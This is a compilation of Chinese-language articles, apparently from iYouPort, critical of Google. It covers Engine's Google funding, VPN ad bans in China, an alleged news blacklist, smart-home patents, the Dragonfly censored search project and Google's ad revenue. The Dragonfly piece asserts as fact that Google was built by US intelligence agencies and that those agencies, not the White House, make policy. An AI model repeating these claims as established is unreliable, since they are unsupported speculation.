Engine 回应说，Slater 不是创始人，从未在集团中担任正式角色，只是帮助实现了这一目标。但所有三位 **Engine** 的创始人**—Luis Arbulu**，**Joshua To** 和 **Joshua Mendelsohn—**都是谷歌的前雇员。在离开 Google 后不久，注册了域名 EngineAdvocacy.com 和当前网站 Engine.is。在新闻报道中，Mendelsohn 被称为"“科技创业公司的’华盛顿游说者’”"。

在 Engine 启动时，创始人经营着一家名为 Hattery 的创业孵化器公司; Engine 最初安放在同一个办公室里。 Engine 的政治战略家 Mike McGeary 的薪水是由 Hattery 支付的。然后，谷歌在2013年夏天收购了 Hattery，雇用了大部分员工; 倡导团体和沟通团队去了 Engine。同年返回谷歌。Engine 说，谷歌从未直接支付任何工作人员的薪水。Mendelsohn 的新公司，一家名为 Hangar 的公司，没有让他发表评论。

Engine 不是需要会费的会员制组织。根据 Campaign for Accountability 报告，“会员”最初通过“由 Google 和 Engine 传播的互联网表单”。有一个会员名单，其中包括那些在这一点上很难称自己为创业公司的公司，如谷歌，Facebook，Twitter，Netflix，优步和微软的子公司 LinkedIn。 Engine 说该列表是“旧的”，无法从其主页访问。

在公共政策页面上，Google 在其资助的数百个第三方组织中列出了 Engine。Campaign for Accountability 报告称谷歌自 2013 年以来每年都承认资助 Engine，但它从未详细说明金额。同样，虽然 Engine Advocacy，一个501（c）（4）非营利组织和 Engine 研究基金会，其501（c）（3）同伴，2013 年至 2015 年期间的资金为 440 万美元，并没有详细说明这些贡献来自何处，以及 **Google** 在其中的贡献量。

Engine 确实为其获得资金的其他公司注名了，包括 **Apple**，**Facebook**，**T-Mobile**，**Sprint**，**Etsy** 和甚至还有彭博 **Bloomberg**，以及 **Koch Foundation** 和 **Knight Foundation** 等各种基金会。 “我们为慈善组织和包括谷歌在内的大大小小公司提供的资金感到自豪，”Engstrom 说。但是 Engine 不会提供确切的数字或注名所有资助者。

另一位被提到资助者的是 Yelp，这是谷歌最激烈的批评者之一，该公司上周刚刚在欧盟对谷歌提起诉讼，指控其本地搜索结果存在偏见。“我们在技术上是[Engine]的成员，但我认为我们在一段时间内不会给他们钱，”Yelp 公共政策高级副总裁 Luther Lowe 说。

前 Google 员工在 Engine 上脱颖而出。 Marvin Ammori 是 Google 的长期顾问，现任技术公司 Protocol Labs 的总法律顾问，现任 Engine 的董事会成员。 Mendelsohn 和他的妻子 Julie Samuels 还与 Derek Parham 一起坐在六人董事会上，Derek Parham 是前谷歌员工和 Songza 的顾问，Songza 是2014年出售给 Google 的公司。

Engine 知识产权高级顾问 Peter Pappas 就专利问题向谷歌提供建议。他的政府关系公司 "Innovation Strategies" 将 **Google** 和 "Engine" 列为客户。同样，根据国会游说披露，S-3 集团是一家注册游说公司，曾为 Engine 和 Google工作过。

另一位顾问委员会成员是前 Google 员工 Hunter Walk，被列出的他的经验是“收购初创公司（@Google）”。咨询委员会成员 Brad Feld 是 Foundry Group 的风险资本家，他投资 AdMeld 和 Revolv，创业公司被谷歌收购，并与 Yesware 和 Trada 等公司以及 Google 风险投资子公司共同投资。

Engstrom 来自 Farella Braun + Martel，这是一家知识产权律师事务所，谷歌一直是其客户。但 Engine 称，Engstrom 并不适用于谷歌作为客户的任何案例。

Engine 的显示屏甚至可以在 **2012** 年共和党和民主党全国代表大会上"进入 Google 展位"。一位名叫 Michelle Brook 的艺术总监对该项目发表了一篇文章在其个人网站上，其中写道：“Engine 与谷歌合作，倡导促进创新和企业家精神的公共政策……”

上述报告引用了 Engine 和谷歌利益相关的几个问题领域。这包括在 2011 年和 2012 年（Engine 成立时）防止严格的反盗版立法的运动。当谷歌面临其专利"诉讼威胁"时，该组织还搞了一封致国会的关于专利改革权的"信"。该报告称，谷歌和 Engine 也有兴趣开放更多的宽带频谱并增加高技能移民的签证。

谷歌在其博客上强调了一份关于2012年高科技工作对美国经济重要性的 Engine 研究论文。第二年，Engine 发布了一份由 KU Leuven 欧洲研究人员发表的另一份报告，宣传欧盟高科技产业。在封面上，作者“感谢 Google 为此报告提供资金。”

Engstrom 否认了 Engine 和 Google 之间的直接政策调整。“我们已经表明，在大大小小的政策辩论中，我们都不会害怕偏离强烈的捐助者立场，当我们觉得可以为创业生态系统的利益更好地服务时”，他说。

最近的一个例子是在争夺在线性交易立法（称为 SESTA）的斗争中。谷歌反对 SESTA，因为它代表了对第 230 条的第一次修改，这是一项黄金标准条款，免除网站对其用户行为的责任。支持者表示，SESTA 目标狭窄，是防止性交易在线扩散的必要条件。

谷歌在抵制 SESTA 方面赋予了大量的热情，并在背景中保持直接抵制意见。而 Engine 非常直率。Engstrom 去年十月在参议院作证反对 SESTA。Engine 组织了关于这个问题的国会信件，并建立了反对派中心。当谷歌内部游说人员 Stewart Jeffries 写信给国会工作人员反对修改第230条时，他引用了 Engstrom 的陈述。谷歌在战斗期间也在他们的博客上公开引用了 Engine。

“谷歌正在游说，但他们不想自己露面，”在 SESTA 辩论期间与活动家合作的 Rick Lane 说。“他们推出了 CDT（民主与技术中心），EFF（电子前沿基金会），TechFreedom 和 Engine。”所有人都"得到了谷歌的支持"。

领导反性交易法案的“I Am Jane Doe”背后的电影制片人 Mary Mazzio 说，在 SESTA 斗争期间，Engine “非常非常活跃”。Engine 强调第 230 条对小型创业公司的重要性确实引起了某些立法者的共鸣，比如 Sens.Ed Markey，D-Mass和 Ron Wyden，D-Ore。去年11月，Wyden 发表了一份声明，称 SESTA“将以创业公司为代价，支持大型科技公司，并将扼杀创新，”完全是 **Engine** 在此问题上的主体观点的镜像。

“我会说 **Engine** 似乎是一个傀儡，被谷歌操纵，”**Mazzio** 说。“作为一种策略，这是很棒的。 **[**谷歌**]** 是一只大而坏的狼，我们正在资助的 **[**初创**]** 团体说这只大而坏的狼会吃掉我们。这是马基雅维利主义。“

最终，覆盖性交易的印象被证明是 Engine 或 Google 无法克服的，而 SESTA 则被通过了法律。这一点上，事实显示了科技行业的崛起，在华盛顿不再能获得免费通行证。甚至没有共同提案的 Markey 也最终投票支持了这项法案。Wyden 是投反对票的两位参议员之一。

Engine 继续支持与Google保持一致的计划。它批评加利福尼亚州即将开启的以保护消费者隐私的投票政策，“写得不好”和“过于宽泛”。谷歌一直在反对投票措施，即使 Facebook 已经在批评中放弃了反对意见。

这份报告总结道：“谷歌对 **Engine** 的明显创造和支持是大企业公司如何利用其财富在华盛顿实现其目标的关键指标，这令谷歌可以躲在幕后”。

Engine 和 Google 都强调了 Campaign for Accountability 与甲骨文的关系，指的是关于谷歌在构建 Android 操作系统时是否违反了甲骨文

专利的长达八年的激烈诉讼。在这一点上，高度技术性的案例似乎更像是两个硅谷竞争对手之间的激烈争斗的借口。

“由甲骨文资助的这份报告试图破坏 Engine 代表创业社区所做的工作，以推进甲骨文与谷歌之间的长期争议……”Engstrom 辩解道。

AN ADVOCACY GROUP FOR STARTUPS IS FUNDED BY GOOGLE AND RUN BY EX-GOOGLERS

原文

继续作恶：谷歌禁止 VPN 广告帮助中国规避审查制度 - iYouPort

关于谷歌-监视资本主义的创始人

谷歌再次帮助中国政府及其奥威尔式的信息流控制。

此前已有证据显示这表明谷歌已经持续发展了审查版搜索引擎“蜻蜓”的计划，尽管他们声称在内部员工反对后“已经放弃了“该计划，事实上并没有放弃。

现在 ZDNet 报道，谷歌已经禁止针对中国用户提供的虚拟专用网络（VPN）产品的广告—— 依旧引用“当地法律限制”。

VPN 是目前为止中国用户唯一可以规避恶意互联网过滤器的方式，这些过滤器已经封锁了 Facebook，Twitter，Gab，Instagram，Reddit，Discord，WhatsApp，WikiLeaks，Google 和 Gmail 等网站。被封锁的新闻网站包括 Zero Hedge，BBC，Bloomberg，Reuters，WSJ，NYT 和 Business Insider。

“由于当地的法律限制，目前谷歌广告政策禁止在中国推广 VPN 服务，”谷歌周三在一封电子邮件中表示。

该电子邮件是由 *VPNMentor* 收到并与 *ZDNet* 共享的，这是一个提供 *VPN* 产品的建议、提示和评论的网站。

该公司表示，谷歌阻止其员工为//该网站的中文版本//发布谷歌搜索广告 。- *ZDNet*

「图」

「图」

2017年1月，北京打击了 VPN 服务—— 要求所有在中国活跃的提供商注册中国政府的授权。 7月，中国强迫 Apple 从其 App Store 中删除了所有VPN应用程序。根据 ZD 的说法，在2018年3月31日之后，“对所有VPN实施了全面禁令”，尽管有些应用程序无论如何都继

续运行。

尽管如此，中国官员现在正在利用该禁令追捕使用 *VPN* 的用户。使用 *VPN* 产品的第一笔罚款是今年早些时候发给广东的。

尽管禁止消费者使用 *VPN* 应用程序，但中国仍然是 *VPN* 技术的最大卖家之一。 *2018*年*11*月的一项研究发现，近*60%*的顶级免费移动 *VPN* 应用程序由中国拥有或被位于中国的公司运营。

我们想知道谷歌员工是否会再次抗议帮助中国让公民陷入黑暗的另一个恶行？

‘Be Evil’: Google Bans VPN Ads Helping Chinese Circumvent Censorship. We wonder if Google employees will protest yet another example of helping China to keep its citizens in the dark?

原文

美式蜻蜓 - iYouPort

关于谷歌-监视资本主义的创始人

一个掌握着全球几十亿人认知的巨头，使用阴暗的算法操纵内容，意味着什么？

「图」

「图」

半年多前，IYP 发布了一份报道《最准确的恐惧》当时仍是中国审查版搜索引擎 Dragonfly 项目最具争议的时刻，美国用户表示：如果谷歌决定在自己的搜索引擎上实施这么一个阴暗的政策，那么美国人没有任何方法来了解它，因为谷歌的搜索算法是商业机密。美国人不可能知道谷歌可能对他们进行的潜在监视的范围。对于批评谷歌的记者或政治家来说，这是一个非常现实的问题 ……现在这个现实的问题的确被证明是存在的。

根据 Daily Caller 的报道，泄露的内部文件显示，谷歌维持着一个网站黑名单，阻止某些新闻媒体出现在“新闻”或其他特定部分的搜索结果中。

这意味着，虽然来自黑名单网点的搜索结果仍会显示在通用“ten blue links”部分中，但根据报告，目标网站将不会被允许出现在“热门新闻”或“视频”等栏目中。

“黑名单的目的是禁止网站在任何搜索功能或新闻产品中浮出水面。它不会导致搜索结果降级或完全取消索引，”政策文件中写道。

值得注意的是，**2016**年美国大选后，独立媒体 **Zero Hedge** 已被从 **Google**的新闻类别中删除。顺便说，该独立媒体在中国也被屏蔽了。

据 Daily Caller 称，黑名单包括多个保守派的网站，包括 Gateway Pundit，Conservative Tribune（Western Journal 的子公司），American Spectator 等，因为它违反了搜索巨头的“误传政策”和“睦邻

政策”。

这两项官方政策也被称为“虚假陈述政策”，“好邻居政策”创建该公司的“*XPA* 新闻黑名单”，由*Google* 的 *Trust*＆*Safety* 团队维护。 “*T*＆*S* 将负责在有需求时更新该黑名单，”与 *Daily Caller* 分享的一份文件中写道。该政策文件称，“黑名单将被许多搜索功能用于过滤违反政策的有问题的网站”。

谷歌首席执行官桑达皮采于去年12月11日在众议院司法委员会作证前一周发布了一份关于“欺骗性新闻”黑名单的备忘录，该备忘录描述了如何手动将网站列入该黑名单。

“当一个网站被放置在一个监视列表上时，工作流程就开始了，该监视列表用于监视站点以确定它们是否违反了睦邻策略。此监视列表由 *Ares* 维护和存储，其访问权限仅限于致力于睦邻策略的策略和执行专家。对于列表的访问也可以由 *pcounsel* 自行决定，并在已知的基础上进行法律调查，以强制执行违反政策的行为。对监视列表的调查是在 *Athena*、*Ares* 手动审查工具中完成的，并从 *Search*，*Webspan* 和 *Ares* 中获取提示。 …一旦确定域名违反了虚假陈述政策或睦邻政策，则安全团队会将此类模式添加到 *deceptive_news_blacklist_domains.txt*。“

虽然备忘录明确指出涉及手动过程，但 Google 在 Caller 的文章后发表的声明中反驳这点。

“我们不会手动确定任何搜索结果的排序，我们的算法或政策也不会试图对网站的政治倾向做出任何判断，”声明中写道。“我们的 Google 新闻政策可在线公开获取。它们针对赞助内容、欺诈行为等内容提供指导。不遵守这些政策的网站不能在新闻界面或搜索信息框中显示。这些政策不会影响这些网站在蓝色链接 Google 搜索结果中的显示方式。“

这是巨大的谎言。众所周知很久以来只要你付钱，他们就能把你的内容提升到第一页搜索结果中；现在他们可以为满足主人的意愿而令某些政治思想“消失”。现在谷歌等巨头掌握着全球几十亿人的认知，这种阴暗的算法操纵意味着什么？

Leaked internal documents reveal that Google maintains a blacklist preventing certain news outlets from appearing in search results for news or other specific sections

原文

老大哥已经把你家卧室当成了下一个数据金矿 - iYouPort

关于谷歌-监视资本主义的创始人无处不在，无处可逃-所谓的“智能”是什么

在第一项专利中，谷歌想要的设备可以扫描和分析您家的环境，然后根据检测到的内容为您提供内容—— 通过扫描您的衣服来计算“时尚品味”；甚至可以检测任何“昂贵的机械和/或电子设备”来估算您的收入。

⚠还有你孩子的卧室。谷歌第二项专利提出了一种智能家居系统，使用传感器和摄像头限制孩子的行为。家长可以对设备进行编程，以便偷听儿童的“粗言秽语”、扫描孩子的互联网使用情况以查找成人内容，或者使用“占用传感器”来确定房屋的某些区域是否在主人离开后被动过—例如，酒柜（你丈夫偷喝酒了吗）

⚠ 听觉推断更令人吃惊：谷歌的智能家居系统可以通过第一“键盘点击、桌椅移动等等声音的窃听，”推断“家庭成员是否正在工作”；谷歌还可以根据你的情绪做出推断；当你在厨房里时，谷歌根据冰箱门的开关声判断你在干什么……

The Next Data Mine Is Your Bedroom

Google wants to scan your clothing and listen to you brush your teeth. Welcome home.

原文

谷歌为什么要对外撒谎？为什么在内外合力反对的情况下依旧继续审查项目 - iYouPort

关于谷歌-监视资本主义的创始人

如您所知，“对内和对外”的态度在很多时候是有区别的，也是为什么人们普遍对内幕消息的兴趣远高于宣传稿。但是对于谷歌来说，这里的“区别”简直就是天壤之别，他们为什么要掩盖 [对于一家公司来说单纯的赚钱兴趣] ？我们似乎能闻到一股奇怪的味道，它可能远非“怕丢人”这么简单。本文是 The Intercept 最新获取的谷歌内部会议记录的副本，其中很多细节足以验证我们曾经对谷歌做出的分析……但这可能不是故事的全部

谷歌搜索引擎主管 Ben Gomes 说，“我们必须专注于我们想要实现的目标，确保当序幕拉开时我们已经做好了一切准备”。

此时是 7月18日星期三，Gomes 正在向谷歌内部员工发表演讲，他们正在开展一个秘密项目，为中国开发一个审查版搜索引擎，将“人权问题”、“学生抗议[指64]”和“诺贝尔和平奖[指刘晓波]”等均列入黑名单。

这里是 The Intercept 获得的此次会议记录，Gomes 在会议中称：“你们已经加入了一项非常重要的工作，这事关公司的利益……我不得不承认这是一段艰难的旅程。但我确实认为这是一个非常重要且有价值的工作。我希望我们能够尽快抵达目的地。”

Gomes 开玩笑说总统特朗普的不可预测性，并感叹于美中之间正在进行的所谓贸易战，据称导致谷歌与北京共产党官员之间的谈判被放缓，这一计划中的谈判如果启动，谷歌将要求北京批准谷歌推出审查版搜索引擎—也就是进入中国市场。

Gomes 于 1999 年加入 Google，并且是该公司搜索引擎项目背后的关键工程师之一，他表示希望该平台的审查版搜索引擎可以在 6 到 9

个月内推出，但有可能会更快。“这是一个我们以前从未涉及过的领域，”他说，“因此，我觉得我们不应该在时间表中加入太多明确的内容。”

- 延伸阅读：《"谷歌想从中国得到什么？"》
- 《"谷歌为什么要这么做？"（后半部分）》

自 The Intercept 首次公布有关代号为 Dragonfly 的审查版搜索引擎的详细信息至今已有两个月了。从那时起，该项目一直在面临人权组织、谷歌员工、美国参议员、甚至副总统迈克彭斯的批评，他上周四呼吁谷歌“立即停止开发 Dragonfly 应用程序，这将加强共产党的审查、侵犯中国客户的隐私。“（后面有详细分析）

谷歌拒绝回答有关 Dragonfly 项目的问题或疑虑。 9 月 26 日，一位谷歌高管首次面临对审查计划的公众质疑，当时 Keith Enright 告诉参议院商业科学和运输委员会，“是有一个项目叫 Dragonfly”，但他说，“我们距离在中国推出产品还有很远。” 当被要求提供具体细节时，Enright 直接拒绝了，说他“不清楚该项目的范围或超出范围的部分。”

直接参与建立审查项目的谷歌高级管理人员在很大程度上避免了任何公众监督。但是在 9 月23 日，Gomes 在庆祝谷歌成立 20 周年的活动中遇到 BBC 记者时，简要地对 Dragonfly 项目发表了简要的评论。

“现在，我们所做的只是一些探索，”Gomes 告诉记者说，“但由于我们还没有任何推出什么东西的计划，所以我没什么可说的。”

> *One Google source said Gomes's comments to the BBC were "bullshit."*

Gomes 的声明与公司的官方路线保持一致。但是，这与他私下告诉那些正在研究 **Dragonfly** 项目的员工的内容完全不一致—这让人感到不安。一位谷歌消息人士告诉 The Intercep，Gomes 给英国广播公司的评论是“胡说八道”。

7月的会议上，Gomes 告知员工，该公司的计划是尽快启动审查版搜索引擎—并且一旦收到北京的批准，就可以“准备好”快速部署。

关于 Gomes 对内部工作人员的评论您可以在最下面阅读全文，突出显示了谷歌关于 Dragonfly 项目的公开和私下声明之间形成的鲜明对

比。这个秘密项目自 2017 年春季以来一直在进行—— 涉及约 300 名员工，其中大多数人都是全职工作的。这远远超出了他们公开声称的所谓“探索”，并且推出该项目的计划是完善的，尽管该公司努力压制这些信息，但最近几周内谷歌自己的一些员工也强调了这一点。

Gomes 的言论同时揭示了为什么谷歌有兴趣在 2010 年高调离开后如今再次返回中国，当时该公司曾宣称由于担心言论自由和安全问题而“无法继续”。

在向工作人员解释为什么关于 Dragonfly 项目的工作“非常重要”时，Gomes 引用了中国市场的庞大规模为由，称“我们正在谈论的是 Google 的下一个十亿用户”—— 再次证实了我们在两个多月前的分析：西方市场已经饱和，谷歌和 Facebook 都需要在非西方加速铺展。尤其是中国，该国没有基于公民切身利益的隐私保护法案，其公民也不重视自己的隐私权，尤其是该国政府对伪装成“智能城市”的大规模监视项目的垂青，谷歌需要借助搜索引擎作为跳板，以进入中国市场。他们瞄准的是这个庞大的数据库，对监视资本主义者们来说这才是真金白银。在这里看到更多《“智能城市”究竟是个什么鬼？！》。

但是，上述显然只是表面逻辑。由于我们没有基于此事的内幕消息（想必美国的独立媒体也没有，除非情报机构内部人士泄露出来）于是不方便做更多推测。不过我们想借此指出一些可能被忽视了的线索，虽然不会得出结论，但这些线索应该对您的思考有一定帮助。

1、首先认识谷歌。当然这绝不是什么新闻，在美国不是，可在中国很大程度上似乎仍是新闻，即 谷歌从来都是情报部门的监视计划项目。我们推荐过一本书《When Google Met Wikileaks 》，出版于四年前，其中解释了几乎完整的谷歌内幕—最重要的是揭示了该公司的真实属性。这大概是第一部也是最透彻的一部阐述硅谷巨头的作品。

如果您没有读过这本书，这里还有一份在线可读的报告，该报告来自 INSURGE INTELLIGENCE：一个由众筹资助的调查性新闻项目—也就是说它是独立的，与任何权势无关，它揭露了美国情报界如何资助、培育谷歌，作为全球信息战的工具。

事实上相关文献大量存在，其中最为热门的包括 Tim Shorrock 的“Spies for Hire”，从一个相比下较浅的角度揭示了“美国情报—工业联合体”的内幕：当今的科技巨头为什么能成为巨头，因为它们是当年通过向情报界提供技术服务和产品而开始的（否则他们没有今天这般强大）上面链接可在线阅读。这份资料曾被多家国际隐私权利组织

引用。顺便提一个在美国几乎家喻户晓的常识：真正做政治决策的是情报机构而不是白宫，仅举一篇文章详细阐述了这点《United States overseas operations: Role of CIA—Jacob G. Hornberger》

2、关于利益关系的逻辑。就如我们曾经分析过的，此事有两个观察角度：

- 如果你使用地缘政治博弈的角度来看，即“高堡奇人”，美国—中国在数字技术世界的“均分天下”，那么这件事可能是错的，相当于将谷歌的能力—也就是美国情报机构的实力“切割”出一块可观的部分送给了北京，将球踢入对方的球门？；
- 但如果你换个角度看，从技术本身的可利用性角度，那么这事很可能就是“对的”，因为对美国情报机构来说有它大有好处，将意味着情报机构能够更深入地了解在中国“谁或哪些组织是对北京政权冲击力最大的、中国人普遍关心的问题都有哪些、谁在关切当局不喜欢的内容、中国社会的最典型特征都是些什么”等等，这些信息具有高度的情报价值。

而且后一种和前一种并不冲突，它们是完全一致的，中国人有曰“知己知彼方百战不殆”，情报从古到今都是无价之宝。并且它也符合上述 1 中关于 CIA 构建谷歌的目的—— 北京一直明白或者说怀疑这种目的的存在，这才是真正的原因关于为什么中国的 GFW 一直在屏蔽硅谷巨头，并同时打造本土的几乎功能一样的克隆版数字应用和数字技术。这不仅仅是简单的舆论控制目的。

抵制“北方叙事”的危地马拉活动家们也曾经暗示过这点，即 后台是情报机构的硅谷巨头的全球覆盖将侵蚀小国的利益[包括文化独立性]。再推荐一本书《Science of Coercion: Communication Research and Psychological Warfare, 1945–1960》关于全球心理战的历史以及其对传播学发展的决定性作用。您将能从中感受到危地马拉活动家的焦虑所在（请看英文原版）。

3、那么为什么参议员和彭斯都在公开反对该项目呢？对于前者，一方面美国参议员也很可能并不了解情报机构的计划，这是基本政治模式，也是为什么美国民间称其为“deep state”；另一方面也有可能只是姿态，毕竟“协助[不论任何一种]审查”都是违背美国基本价值观的；而对于后者彭斯，审查版搜索引擎显然是一个极其惹眼的论据，作为中期选举前的舆论铺垫，不消说此论据具有显著的价值。

综上可见，作为谷歌高官，该项目只能秘密操作，一方面它不光荣，另一方面它不是简单的赚钱生意。也就解释了为什么该公司一直以来

极力掩盖此事（在其项目启动一年多后我们才得知，还是多亏了独立媒体的揭露）。Gomes 在内部讲话中所表现出来的信心是非常有趣的观测点，虽然他自己也显然无法推测风向将会如何，但作为生意人，为了一个直到现在还不知道能不能开张的买卖做出如此令人印象深刻的投入，那将意味着他心里有底，此事包赚不赔。

为什么不论北京是否同意谷歌也不会赔钱？想想美国情报机构全球一流的情报预算吧。

The Intercept 的报告也明确指出，如今 Dragonfly 项目已被曝光、随之而来的不论是内部和外部的强烈反对，似乎都在使 Google 的领导地位不稳定？并且在该项目计划的方向上产生一定程度的不确定性？然而并没有。根据与 Dragonfly 项目有关信息来源，工程师们正在依照管理层的指示行事，继续在审查版搜索引擎项目上投入努力，整体呈现一种积极发展的状况。

我们不做任何判断，您可以结合我们上述给出的线索来分析这件事。不论任何时候，我们坚决反对一切审查。是一切！

The Intercep 联系了 Gomes 以征求意见，但这货没有回复通过电子邮件和短信发送的请求。周六，当有人再次问及 Dragonfly 时他搞了一个非常拙略的借口，“我听不清你在说什么，只知道你在说话”，他说，并迅速挂断了电话。

以下是 **Ben Gomes** 在 **2018** 年**7**月**18**日向内部为审查版搜索引擎项目工作的 **Google** 员工发表的讲话（摘要版）全文在这里读到：

我知道这对你们中许多人来说是一个漫长的过程，我首先承认这点。毕竟很多人已经开始研究这个问题了，在一个暂时没有明显结果的项目上努力工作并不容易。再次我要对你们所有人表示感谢。在这项工作的过程中，您承担了对公司来说极为重要的任务—我们为全世界所有用户提供服务的基本使命。在此过程中，我认为我们将获得很多“附带的好处”，不仅来自直接的工作，还来自基于中国工作的其他附加利益。

我用两种方式来考虑 Google。其中之一是技术，另一个是产品和客服。因此，从服务用户的角度来看，毫无疑问—我们正在讨论的是下一个十亿用户…这个世界上有 50 亿成年人，那么我们为什么要考虑下一个十亿用户呢？好吧，其中的确有一些人没有启用互联网，等等，但对于那些支持互联网的人群来说，现在我们正在遗漏的很大一部分人都在中国。

所以有机会—所有人都会知道这点—这显然是为更多人提供服务的最大机会。如果你认真对待我们的使命，那就是我们关注的重点。这并不意味着它会很容易。其中许多事都不容易，而且你们现在从个人经验中也已经了解到了这点。还有政治气候问题。未来是非常难以预测的。六到九个月内[推出该项目]。但我们通常都无法预测最近三天的政治变动，更不用说政治的最近一年了，[或]过去两三年。所以我们只是不知道未来在某些方面会有什么发生，我们必须专注于我们想要启用的内容，确保它有机会发布时我们有充分的准备。

你们一直在以这种身份工作，这并不容易。而我们正在与您合作，为确保您的职业生涯不会受此影响。困难的部分在于如此长时间内保持动力，但是，许多困难和有价值的旅程都是如此，为了保持这种动力，当你抵达目标时就会感受到更甜蜜的收获。

我还想说—我没想到我们能够从搜索的角度做出改变，我们已经能够做到这点。由于我们还没有得到来自中国内部的信息，我们可能会取得边际进展，我们会尽力而为。但是各位……我真的很惊讶我们已经取得了如此大的进步。 …我非常感谢你们所做的工作。

我认为中国是最有意思的市场之一，可以说是当今世界上最有意思的市场。关注中国市场将让我们学到东西，因为在某些创新方面中国是领先于世界的。我们需要了解那个国家发生的事，以激励我们。这不仅仅是一条单行道。中国会教给我们一些我们不知道的东西……这对于我们 Google 来说是非常有价值的，可能不仅仅是在中国，在其他地方也一样。

每个人都注意到了一些在中国发生变化的关键模型，商业模式，但我敢肯定还有更多我们今天尚未了解的其他创新。通过努力，您将成为创新世界的窗口。总的来说，我只想感谢你们所做的所有工作。我请大家耐心等待一段时间，我不得不承认这是一段艰难的旅程。但我确实认为这是一个非常重要且有价值的旅程。我希望我们能够尽快抵达目的地。

虽然我们说过这将是六到九个月内[就会推出的计划]，但世界是动态的，几个星期前还没有人会预料到美国总统会责怪美国与俄罗斯的问题，而俄罗斯外交部会在 Twitter 上做出回应说：“我们同意。”所以……只能说他反复无常，一些事有可能迅速发生根本性变化。所以在某种程度上，在我们的规模上，我们需要保持这种选择性，以防突然间世界发生变化，也许他会忽然决定他的新朋友是习近平。这是一个我们以前从未生活过的世界。所以我觉得我们也不应该过多地确定时间表。

……我只能说我们要把眼光放长远一点，世界的步伐正在发生变化……所以我们应该提高警惕，以确保只要时机到来，我们不会错过它。

……

首先基本可以肯定的是，Gomes 没有对其工作人员说明全部，至少此前已经有明确报道，在该项目计划被泄露之后谷歌内部紧急维稳封锁了相关资料；其次，谷歌“背后的人”也很可能没有对谷歌说明全部，这部分不做推测。但现在您至少可以了解到一个大概了。

原文

谷歌将死于什么？ - iYouPort

关于谷歌-监视资本主义的创始人

消费者应该支持开源自由软件和数据管理透明化，及相关完备的法律保障。否则，就不是科技进步，而是 1984 还魂

搜索是谷歌唯一明确的胜利，也是其主要的收入来源，因此当亚马逊迅速超越谷歌作为顶级产品搜索目的地时，谷歌的基础开始动摇。正如当时许多人所指出的那样，在线广告行业在 2010 年中期开始经历了从搜索到发现的重大转变。

虽然谷歌在垂死的搜索广告市场上保护其垄断地位，但 Facebook—谷歌在线广告领域的最大竞争对手—已经逐渐在这一趋势占据了主导地位，并通过其 Feed 原生显示广告主导了在线广告市场。

「图」

「图」

2015 年底，苹果—谷歌在移动领域的主要竞争对手—为他们的手机和平板电脑添加了一项功能，允许用户屏蔽广告。

运行 iOS 的设备约占谷歌移动搜索广告收入的 75%，因此，通过采取这一举措，苹果公司同时对2010年的广告拦截辩论进行了评估，并对在线广告的未来造成重大打击。

「图」

「图」

一年后，随着互联网的流动，广告拦截也是如此。从2015年到2016年，在移动设备上屏蔽广告的人数增长了102%; 截至2016年底，全球约有 16% 的智能手机用户在移动设备上网时屏蔽了广告。对于美国的台式机和笔记本电脑用户来说，这个数字高达 25%，注意，这个国家占谷歌收入的 47%。

最有可能阻止广告的人也是对谷歌最有价值的人群：千禧一代和高收入者。

「图」

「图」

互联网用户说，他们讨厌广告

2017 年初，谷歌宣布计划在其广受欢迎的 Chrome 浏览器中制作广告拦截器。谷歌的广告拦截器只会阻止被广告联盟视为不可接受的广告，从而有效地允许该公司利用其主导的网络浏览器来加强其已占据主导地位的广告业务。

即使在做出这种绝望的和合法性可疑的举动之后，谷歌很快就会清楚地知道即使广告越来越好，广告拦截数字也会继续上升。谷歌让更多的人对无广告的互联网体验有所了解了。

该公司发现，人们不喜欢的不只有烦人广告，而是所有广告、一般的广告。

「图」

「图」

谷歌投放广告的关键平台是 YouTube，它于 2006 年收购并迅速成为其最大的实体之一。但即使世界上有六分之一的人每个月都会访问这个视频共享巨头，YouTube 也从未盈利。为了对抗广告拦截者的影响，YouTube 于 2015 年底推出了无广告订阅模式，但订阅数量并不令人满意。

2017 年初，随着广告投放者争议，广告客户开始退出，YouTube 已经无法克服的问题成倍增加，巨额收入来源开始撤离该网站。

即使那些没有阻止广告的人也已经训练自己能完全忽视它们了。研究人员称这种现象为“横幅失明”。 只有 0.06% 的观众点击了平均横幅广告，但其中大约 50% 属于手滑。

调查显示，54% 的用户表示缺乏信任是他们不点击横幅广告的原因，33%的用户认为他们完全无法容忍。这些数字为在线广告的可持续性描绘了一幅非常严峻的画面，尤其是想想谷歌在监视资本主义行业中的地位。

谷歌巨大的搜索引擎开始肆虐。

曾经有一个机会，但谷歌错过了

如果因失去大部分观众而烦恼，其余部分还不够糟糕，谷歌也未能领先于技术历史上最大的变化之一。他们认识到所谓的人工智能的重要性，但他们的方法为达到目的。由于谷歌的搜索支柱已经变得不稳定，因此公司的人工智能战略很多。

谷歌当时的首席执行官 Sundar Pichai 在 2016 年曾预言“下一个重要的步骤将是”设备“的概念逐渐消失”并且“随着时间的推移，计算机本身—无论其形状因素—将是一个智能的助理帮助你度过每一天。我们将从移动优先转移到 AI 第一世界。“

谷歌能够承认即将到来的趋势但仍未能领先占据它，这让许多观察家都想起了社交媒体和即时通讯这些蓬勃发展的行业中的灾难性失败。

Google vs. Amazon

与此同时，在 2014 年，亚马逊发布了一款名为 Amazon Echo 的产品，这是一款小型扬声器，可以放在家里为用户解答问题，执行任务和在线购物—— 就是我们一直强调千万不要使用的东西，它很可能被用作窃听器。 Echo 赚了不少钱，因为傻子太多。而谷歌两年后发布了它的模仿产品 Google Home，但已经赶不及了，并且没有明确的收入策略。

另一方面，Alexa—那个 Echo 中的生活助手—很快被整合到多个产品和服务中，其货币化模式清晰，可行，最重要的是对未来友好。Echo 使通过亚马逊订购产品变得更容易，每当有人使用 Echo 购买东西时，亚马逊就赚钱了。

谷歌通过将其构建到 Android 中扩展了其虚拟助手的覆盖范围，但这样做仍然无法为该技术如何产生足够的收入来维持谷歌不断扩大的昂贵创新产品提供答案。

谷歌的广告依赖于屏幕，但语音交互完全颠覆了屏幕。谷歌曾试图在 Google Home 上播放音频广告，但消费者完全无法接受。投资者开始在 2017 年表达他们的担忧，但 Sundar Pichai 告诉他们不要担心，让他们假设谷歌将使用他们“古老的策略”并分析用户的语音搜索—— 就是监听，以便可以在带屏幕的设备上展示更合适的广告。

「图」

「图」

2017年初的头条新闻宣称 “Alexa Just Conquered CES The World is Next。”亚马逊随后将他们的技术提供给第三方制造商，使两家公司之间的距离更远了。亚马逊之前已经击败了谷歌，在2016 年占据了 54% 的云计算市场（相比谷歌的 3%）。

广告不是永远的

